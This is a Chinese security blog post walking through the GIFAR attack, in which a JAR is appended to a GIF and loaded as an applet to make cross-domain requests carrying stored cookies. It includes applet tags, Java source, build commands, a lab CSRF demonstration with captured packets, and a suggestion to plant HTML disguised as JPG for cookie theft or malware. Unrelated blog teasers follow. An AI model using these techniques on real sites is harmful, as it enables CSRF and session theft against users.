跳至主要内容

GIFAR漏洞

作者： 走尽天涯路

漏洞描述：

这个漏洞的危害主要在于跨域的影响上。普通的XSS漏洞可能需要在target site上找一个XSS的漏洞，然后诱使受害者去访问存在XSS的页面或者是点击一个XSS的link。

但是这类跨域漏洞不同，他不需要在target site上做什么，而是只需要在任意一个第三方站点上构造一些恶意脚本就可以实施攻击了，攻击范围将扩大许多许多。

java只是这种利用方式的一种，这种捆绑文件的方式还有很多利用途径。其实这里主要说的就是如果在服务端没有做好过滤，这种捆绑文件能够被某些客户端程序强行解析的话，就会存在一个利用。

就这个漏洞来说，就是jvm会去强行解析jar，不管那个文件头是不是jar，也不管后缀，只要后面有jar文件头，就会去解析他。

这个漏洞之所以成为漏洞，其核心处就在于applet里发起的请求是用的stored cookie，而不是session cookie。

因为对于CSRF而言，使用的是session cookie，所以攻击者实施攻击的时候可能还需要诱骗用户打开个页面，以保证浏览器中存在target site的session cookie，才能CSRF成功。

而stored cookie是存在本地的，就算浏览器中没有session cookie，都能成功实施GIFAR攻击，而applet发起的socket，可以针对target site做更多事情，比如发起其他协议的请求。所以pdp才会说这个漏洞之所以危险，是在于它打破了浏览器的安全模型。

如果SUN要修补的话，肯定也是在这里进行修补，即把发起的http请求变成使用session cookie。

但是经过测试，发现这个漏洞还是有一定的局限性的。因为发现可以取到http response的头和cookie，但是取不到http request的头和cookie。 就是说前面提到的这个applet发起的请求里，会自动使用的stored cookie从applet里是读不出来的。

以下一些操作系统版本，自带JAVA环境：

雨林木风 ------- 集成微软 JAVA 虚拟机。

番茄花园 GHOST XP SP2 v 3.1 ----- 集合 MS JAVA 虚拟机

深度GHOSTXP SP3快速装机专业版V9.0(NTFS) ---------- 集成MSJAVA虚拟机

GhostXP SP3电脑公司完美特别修正版 v9.1 ------- 修正JAVA虚拟机不能启动的BUG

999宝藏网 GhostXP SP3 活力版 V3.0 -------- 微软 JAVA 虚拟机

电脑市场 GhostXP SP2装机版 v3.0

小路工作室 GhostXP P2008贺岁版[装机版]

深度技术 GHOST XP SP3 快速装机专业版 V8.1

漏洞测试

Applet本身的安全机制是不允许跨站的，它只允许自己访问applet标签所在页面的域。但是当applet标签中的codebase属性给定 了一个URL，让当前页面的applet到另一个域获取class或jar文件时，applet会自动为自己添加一个socket permission，也就是添加一个可以到class文件所在域的权限。使用copy /B命令可以把一个jar文件捆绑到一个gif上，捆绑后，同样可以让java虚拟机把这个GIF当成applet解释执行。这个技巧为漏洞的利用提供了 便利，虽然我们不能给目标服务器上传jar文件，但是我们有可能会被允许上传gif。

以下是一个利用GIFAR所要用到的applet标签，该标签只要在html中就会执行applet： 

<applet code="cn.isto.XSSJApplet" width="1000" height="200" codebase="http://www.***.com/images/cnitblog_com/axis/" archive="00.JPG" name="xss"> 
       <PARAM NAME="url" VALUE="http://www.***.com/axis/admin/"> 
</applet>

Code属性表示jar文件中的class名称，codebase表示jar文件所在的绝对路径（不包括文件名），archive表示jar文件的 文件名，PARAM是为了灵活控制给jar代码中的一些变量传值，这里的传的名称是url，对应的值是一个网站地址。可以根据自己要跨的域来改变这个地 址。

利用的环境按照上图所示，有两个域，A域和B域。我们在A域上发现了一个XSS漏洞，利用漏洞在A域的某个页面上放置一个applet标 签，B域恰好有一个功能，可以上传GIF图片。要得效果是在访问A域的页面同时，访问一下B域的隐私页面，以达到辅助入侵B域的目的，但是有两个问题，一 个是B域的cookie验证，另一个是浏览器不允许跨域访问。

利用GIFAR，就可以跨越这两个障碍。

下面我再详细的解释一下这个漏洞，在和刺的讨论过程中，问题集中在以下几点：

1， session cookie，和stored cookie。

2，跨域之后对所跨域的域名问题。

3， 跨域之后如何取COOKIE。

先说第一点，这两种cookie有什么区别呢？其实session cookie指的就是我们常说的session，而stored cookie就是我们常说的cookie。

GIFAR这里，使用的就是cookie，不是session，所以更容易出现CSRF攻击。

无论是JS还是applet，都限制只能访问当前域下的内容。比如这个JS如果是aaa.sohu.com，就不能访问bbb.sohu.com的东西，如果你跨域跨到了aaa.sohu.com，就可以访问aaa.sohu.com。

而cookie对于域名的要求就有点暧昧了，这要看在写程序时，你的cookie制定的域名是什么。来看以下这段jsp程序。 

Cookie ack = new Cookie(“kxlzx”,”password”);  
ack.setDomain(".sohu.com");

这段cookie制定了域名为“.sohu.com”这个一级域名。就表示这个域名下所有的二级域名、三级域名、四级。。。都可以访问这个 cookie。而默认的cookie域，如果不指定域，则会由程序自动制定到当前JSP文件所在的域下。例如www.sohu.com/a.jsp 这个jsp文件所在的域是二级域名www下，那么他的cookie就只有这个二级域名下的文件才可以访问，其他的域名例如img.sohu.com就不可 以访问这个cookie。

这个漏洞利用成功之后能做什么。跨域取cookie只是一种利用，还有很多种利用方式，比如CSRF。前文提到，cookie是有域名限 制的，如果要跨域取cookie，就必须保证这段取cookie的程序要在所跨域下的文件中执行。我一直推荐一种方式，就是当IE7以下浏览器去打开 JPG文件时，如果JPG文件其实是个HTML，就会执行HTML。那么取cookie得代码就可以写到这个文件上，之后上传到要跨的域，再利用 applet让受害者的浏览器访问这个JPG文件。这样，无论是挂马还是取cookie都可以在这里完成。

一个CSRF示例：

测试环境，有两台计算机，一台linux+apache下面简称APACHE域，一台windows+iis下面简称IIS域。APACHE域下的 某个文件出现了XSS漏洞。利用该XSS漏洞可以在页面上插入applet标签。IIS域下有上传gif文件功能，于是上传了一个gif文件，还有一个需 要cookie验证才能执行其他操作的隐私页面。最终要达到的效果是，IIS域的管理员（可以通过cookie验证的人）访问APACHE域下的XSS漏 洞页面，同时悄悄的访问到IIS域下的隐私页面（CSRF）。

IIS域下的页面a.asp，目的用来建立一个cookie，这个cookie可以通过b.asp的验证。这里模拟了相当于管理员登陆成功的过程。

a.asp代码： 

<%  
Response.Cookies("Cookie1")("kxlzx") = "testok" 
%>

作用是新建一个cookie。

IIS域下的b.asp代码: 

 <%   
dim cookie,key   

for each cookie in Request.Cookies   
if Request.Cookies(cookie).haskeys then   
    for each key in Request.Cookies(cookie)   
        if key="kxlzx" then  
            Response.Write "key 名字："&key"<BR>"   
            Response.Write "value 名字："&Request.Cookies(cookie)(key)"<BR>"   
            kxlzxfile=Server.MapPath("kxlzx.txt")   
            set fs=server.CreateObject("scripting.filesystemobject")   
            set file=fs.OpenTextFile(kxlzxfile,8,True,0)   
            file.WriteLine("key 名字："&key"" )   
            file.WriteLine("value 名字："&Request.Cookies(cookie)(key)"" )   
            file.close   
            set fs = nothing   
        end if   
    next   
end if   
next   

%>

通过了cookie验证后，会在当前目录下新建一个kxlzx.txt，最后看到这个文档时，意味着CSRF成功。

IIS域下的2.gif文件，编译前Ghost.java代码： 

  import java.applet.Applet;  
import java.io.InputStream;  
import java.net.URL;  
import java.net.URLConnection;  
public class Ghost extends Applet {  
    public void init() {  
        URLConnection uc;  
        try {  
            // 创建 HTTP连接   
            URL url = new URL(this.getParameter("url"));  
            uc = url.openConnection();  
            InputStream inputstream = null;  
            inputstream = uc.getInputStream();  
            System.out.println("test ok");  
        } catch (Exception ex) {  
            System.out.println("fu_ck");  
        }  
    }  
}

这个文件就是applet的代码，代码从applet标签的PARAM中取到url的值，之后访问这个URL。我们要把这个文件编译成jar，然后使用copy /B 附加到一个gif中。

APACHE域下的Test.php代码： 

 <applet codebase="http://192.168.0.88/" code="Ghost.class" archive="2.gif" name="Ghost.jar" >  
<PARAM name="url" value="http://192.168.0.88/b.asp"></PARAM>  
</applet>

下面开始测试

1， 首先使用jar cvf a.jar Ghost.class把class打到jar包里。

2， 输入命令copy a.gif /b + a.jar 2.gif把jar文件追加到a.gif，生成一个新文件2.gif。

3， 访问IIS域下的a.asp，保存cookie，并弹出保存的内容。

4， 访问APACHE域下的test.php。

5， 查看结果，看到kxlzx.txt中记录了cookie信息。

下面是在整个过程中抓到的几个包： 

第一个包：
GET /a.asp HTTP/1.1
Host: 192.168.0.88
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1

第二个包
GET /wwwroot/test.php HTTP/1.1
Host: 192.168.0.222
Accept-Encoding: gzip,deflate 
第三个包
GET /2.gif HTTP/1.1
content-type: application/x-java-archive
User-Agent: Mozilla/4.0 (Windows 2003 5.2) Java/1.6.0_03
Host: 192.168.0.88
Cookie: Cookie1=kxlzx=testok;

第四个包
GET /Ghost.class HTTP/1.1
Host: 192.168.0.88
Cookie: Cookie1=kxlzx=testok;

第五个包
GET /b.asp HTTP/1.1
User-Agent: Mozilla/4.0 (Windows 2003 5.2) Java/1.6.0_03
Host: 192.168.0.88
Cookie: Cookie1=kxlzx=testok;

第一个包是访问a.asp的，可以看到在这个向IIS域的请求中，没有cookie，但是访问过该文件之后就有了。

再看第二个包，访问了APACHE域的test.php，后面的包都是由applet自动发送的。

test.php里的applet又访问了gif文件，可以看到第三个包的Agent已经变成了“Java/1.6.0_03”，说明该包是java去访问的。

最后的包，就是CSRF的包，这个包成功的访问了b.asp，并且带有可以通过验证的cookie，成功的在根目录下生成了一个kxlzx.txt文件。CSRF的整个过程中，在用户访问APACHE域的同时，跨域访问了IIS域，并且带着IIS域的COOKIE。

参考文档：

http://knol.google.com/k/hi-clin003/-/jtjj0so2jjck/34#view http://wiki.clin003.com/wiki/GIFAR

http://www.inbreak.net/?action=show&id=124

http://hi.baidu.com/aullik5/blog/item/60d2b5fc1963ef1009244d71.html

评论

发表评论

此博客中的热门博文

奥运会开模式上的蓝屏靓照

作者： 走尽天涯路
鸟巢的灯光和投影显示系统 使用了上百台Windows XP Embedded系统的服务器产品 此次北京奥运会开幕式共使用了120台HES Axon Media Servers服务器，这也是历届盛会之最。所有的灯光效果以及放映机移动控制都由Axon Media Servers实时处理并通过三台Wholehog 3灯光控制台操纵完成。 位于鸟巢的Axon Media Servers，有关Axon Media Servers的更多信息可参考 这里 。 在开幕式主火炬点火的关键时刻，其中一台投影服务器正巧出现了 奥运开模式上的蓝屏靓照 这幅图来自 gizmodo.com （both Li Ning and the BSOD :-) ） 没有错，正当李宁在空中跑道大步迈进的时候，蓝屏就在他的身旁。 下面的图片 据说 拍摄于H区3层顶棚。 拍摄于H区3层顶棚，2008.8.8，持续了开幕式的一半时间... Windows Blue Screen on the Olympics Openning Ceremony of Beijing 2008 照片上沿的那块蓝色，不过里边的字看不清了，其实从开幕式刚开始没多久，我就注意到顶棚有这么一块蓝色；不过因为是横过来的，所以没发觉是蓝屏；后来坐在我右边的一位老兄提醒了一下，我才反应过来，这时开幕式都快结束了。 李宁点完火炬降下来时，就经过瑞士国旗的左边，而这个蓝屏也就在李宁的左边，可惜我敏感度不高，当时没照下来。 相关链接： 奥运会开幕式上的Windows蓝屏 Blue Screen of Death Strikes Bird's Nest During Opening Ceremonies Torch Lighting 奥运会开幕式后台控制揭秘 XPe是功臣 Windows XP Embedded? 一样会蓝屏 奥运开幕式上的Windows蓝屏新照 奥运开模式上的蓝屏靓照 2008北京奥运会开模式上的蓝屏靓照
发表评论
阅读全文

新年的12个健康礼物

作者： 走尽天涯路
如果你对自己的健康不够满意的话，那么，在又一个365天即将到来的时刻，不妨送给自己的身体12个健康承诺，作为珍爱自己的特别礼物：新年的12个健康礼物  http://luoyanglife.com/blog/luoyang-faq-3146/ 1 每天半斤粮——五谷为养，粮食能滋养大脑，也能养护肠胃，适量吃主食并不会使人发胖。 2 每天一餐粗——粗粮富含维生素B族、矿物质和膳食纤维，让我们有顺畅的肠道和持久的精力。 3 每天一把豆——豆子和豆制品能帮助补充蛋白质，更是多种保健成分的来源，让我们不容易发胖，而且不容易衰老。 4 每天一斤菜——蔬菜是健康生活的永恒话题，它供应的保健成分、维生素和膳食纤维帮助人们远离多种癌症。 5 每天半斤绿——在蔬菜当中，深绿色叶菜是营养之精华，无论是强健骨骼，还是预防大脑衰老，绿叶菜都有意想不到的效用！ 6 每天半斤果——水果不仅味道甘甜，还能提供多种抗氧化成分和大量的钾，对于稳定血压、控制血胆固醇和预防癌症都有益处。 7 每天一两肉——肉类和水产中的血红素铁、锌和蛋白质能帮助女性拥有红润容颜和温暖的身体，只要适量摄入，就能美味与健康兼得。 8 每天一个蛋——最新研究确信蛋黄是营养素的宝库，其中含有12种维生素和多种保健成分。它不仅无害于心脏，而且有利于延缓衰老。 9 每天一杯奶——奶类中大量的钙和多种维生素对女性不可或缺。如果不喜欢喝牛奶，没关系，酸奶毫不逊色，而且其中的益生菌好处多多。 10 每天一勺仁——坚果和种子是营养密集的食品，每天早上吃一勺，令人食欲满足，能补充多种微量元素，同时润肤美颜。 11 每天六千步——运动是保持强健心脏和苗条身材的不二法门。走路时脚步尽量快一些，加上每周两次有氧运动，能够有效延缓衰老。 12 每天8小时——睡眠是身体自我修复和充电的时间。高质量睡眠是美容的最佳方法，也是减少癌症危险的最简单方法。 2009年，一定是你人生中一个充实的年份，2010年，将是收获更加丰富的一年。但是，无论多么繁忙，对于重要的事情，人们总是有时间去做的。维护健康是每个人最重要的事业，也是期待未来成功的前提条件，因此，要把健康生活排在日程的最重要位置上，就像奥巴马和普京那样。 如果能改变自己的不健康行为，哪怕只有一项，只要切实坚持一年，那么在明年的今日，一定会感觉更加健康和自信！ 最后，在新年来临之际，祝各位朋友健...
发表评论
阅读全文

In winter, cold not do a woman

作者： 走尽天涯路
Women are yin, yang in itself on the weak, the physical largely biased towards cold, but you know what? Many women in order to control calorie intake, the daily life of selected health food mostly cold thing. As long as they can be beauty, and believe that the more the better, in fact, is not at a good body, excessive intake of cold food, the cold will let you add, thoroughly into "cold woman." In winter, cold not do a woman http://luoyanglife.com/blog/luoyang-faq-3233/  "Cold woman" self-test: see below consistent with the performance and you have several?  The morning feeling tired, do not want to get out of bed.  Irregular menstruation and dysmenorrhea often.  Shoulder, cervical and lumbar pain frequently.  Color is poor, is not young.  Regular air-conditioned room and left alone, do not love sports.  Drink too much or too tired, the body easily edema.  Chinese medicine, diet, life - to see how we should do it.  Chinese medicine beauty to ...
发表评论
阅读全文